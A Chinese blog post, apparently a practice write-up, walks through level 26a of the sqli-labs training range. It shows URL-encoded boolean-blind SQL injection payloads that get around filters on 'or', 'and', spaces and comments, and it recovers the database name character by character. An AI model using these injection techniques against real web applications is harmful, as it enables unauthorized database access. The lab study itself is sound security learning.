当前位置: 首页 > news >正文

在职老D渗透日记day19:sqli-labs靶场通关(第26a关)get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ‘)闭合

5.26a.第26a关 get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ')闭合

5.26a.1.手动注入
(1)判断注入类型、注入点
?id=2'                  报错,字符型注入,判断'闭合
?id=2'%26%26'1'='1      返回id=1数据,判断不是'闭合
?id=2')%26%26'1'=('1    返回id=2数据,确定是')闭合

(2)猜解数据库长度

没有报错回显,不能用报错注入,用布尔盲注

id=2')&&length(database())=8&&'1'=('1
使用&&替代and
&转义%26
?id=2')%26%26length(database())=8%26%26'1'=('1

(3)利用ascii猜解数据库名
substr(string, start, length)    字符串截取函数
string是要处理的字符串
start是开始位置(从1开始计数)
length是要截取的长度ascii()                         返回字符ascii码
大写字母范围:65 (A) ~  90 (Z)→ 连续递增,无间隔
小写字母范围:97 (a) ~ 122 (z)→ 连续递增,无间隔,大小写差值:32
26个小写字母ascii值
a97    h104    o111    v118    
b98    i105    p112    w119
c99    j106    q113    x120
d100   k107    r114    y121
e101   l108    s115    z122
f102   m109    t116
g103   n110    u117    大写-32
?id=2')%26%26(ascii(substr(database(),1,1)))>100%26%26'1'=('1    正常回显
?id=2')%26%26(ascii(substr(database(),1,1)))>200%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>150%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>125%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>112%26%26'1'=('1    正常回显
?id=2')%26%26(ascii(substr(database(),1,1)))>120%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>116%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))=115%26%26'1'=('1    正常回显,数据库名第1个字母为s?id=2')%26%26(ascii(substr(database(),2,1)))=101%26%26'1'=('1    正常回显,数据库名第2个字母为e?id=2')%26%26(ascii(substr(database(),3,1)))=99%26%26'1'=('1     正常回显,数据库名第3个字母为c?id=2')%26%26(ascii(substr(database(),4,1)))=117%26%26'1'=('1    正常回显,数据库名第4个字母为u?id=2')%26%26(ascii(substr(database(),5,1)))=114%26%26'1'=('1   正常回显,数据库名第5个字母为r?id=2')%26%26(ascii(substr(database(),6,1)))=105%26%26'1'=('1    正常回显,数据库名第6个字母为i?id=2')%26%26(ascii(substr(database(),7,1)))=116%26%26'1'=('1    正常回显,数据库名第7个字母为t?id=2')%26%26(ascii(substr(database(),8,1)))=121%26%26'1'=('1    正常回显,数据库名第8个字母为y?id=2')%26%26(ascii(substr(database(),9,1)))=96%26%26'1'=('1     空
数据库名为security

http://www.lryc.cn/news/623777.html

相关文章:

  • 【架构师从入门到进阶】第五章:DNSCDN网关优化思路——第十一节:网关安全-对称与非对称加密
  • 告别“测试滞后”:AI实时测试工具在敏捷开发中的落地经验
  • 【165页PPT】锂电池行业SAP解决方案(附下载方式)
  • 自动驾驶中的传感器技术34——Lidar(9)
  • 定时器中断点灯
  • 记一次安装OpenStack(Stein)-nova报错问题解决
  • 42 C++ STL模板库11-容器4-forward_list
  • 利用标准IO实现寻找文件中字符出现最多次数
  • Opencv 形态学与梯度运算
  • python的软件工程与项目管理课程组学习系统
  • 【LeetCode题解】LeetCode 33. 搜索旋转排序数组
  • Android studio gradle有关设置
  • 一周学会Matplotlib3 Python 数据可视化-多子图及布局实现
  • java之 junit4单元测试Mockito的使用
  • 魔改chromium源码——解除 iframe 的同源策略
  • 《Nursing Research》(护理SCI)LaTeX模板详细教程:从入门到投稿(一)
  • 深度解析 Spring Bean 生命周期
  • Microsoft WebView2
  • SQL详细语法教程(四)约束和多表查询
  • 网络常识-我的电脑啥时安装了证书
  • 【力扣热题100】双指针—— 接雨水
  • 【AI智能体】Dify 搭建发票识别助手操作实战详解
  • 微信小程序 小白gps工具v0.01 使用说明
  • XF 306-2025 阻燃耐火电线电缆检测
  • QUIC浅析
  • C++ 标准模板库 (^^ゞ 致敬 STL 创始人 Alexander Stepanov
  • 笔记本电脑wifi小图标不见了 或者 蓝牙功能消失、电脑开不开机解决方法
  • 基于飞算JavaAI的可视化数据分析集成系统项目实践:从需求到落地的全流程解析
  • Shell脚本-while循环语法结构
  • ACPI TABLE 方式加载device driver--以spi controller为例